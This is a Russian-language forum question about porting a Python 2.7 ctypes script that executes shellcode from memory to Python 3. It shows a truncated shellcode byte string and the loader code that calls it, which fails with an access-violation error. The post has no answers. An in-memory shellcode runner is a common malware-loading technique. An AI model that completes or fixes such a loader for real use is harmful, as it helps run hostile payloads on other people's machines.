Запуск шеллкода на питоне 3?

В настоящее время я пытаюсь перенести скрипт Python с 2.7 на 3.4.2. скрипт должен быть в состоянии запустить шеллкод из памяти.

from ctypes import *

shell = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\..."
createbuffer= create_string_buffer(shell, len(shell))
shellcode = cast(createbuffer, CFUNCTYPE(c_void_p))

shellcode()

Это самый близкий к запуску шеллкод на Python 3, и он просто оставляет меня с:

OSError: exception: access violation writing 0x0099....

Имейте в виду, что этот скрипт работает на 100% нормально с 2.7, поэтому я не понимаю, почему его нельзя перенести на 3.

0 ответов

Другие вопросы по тегам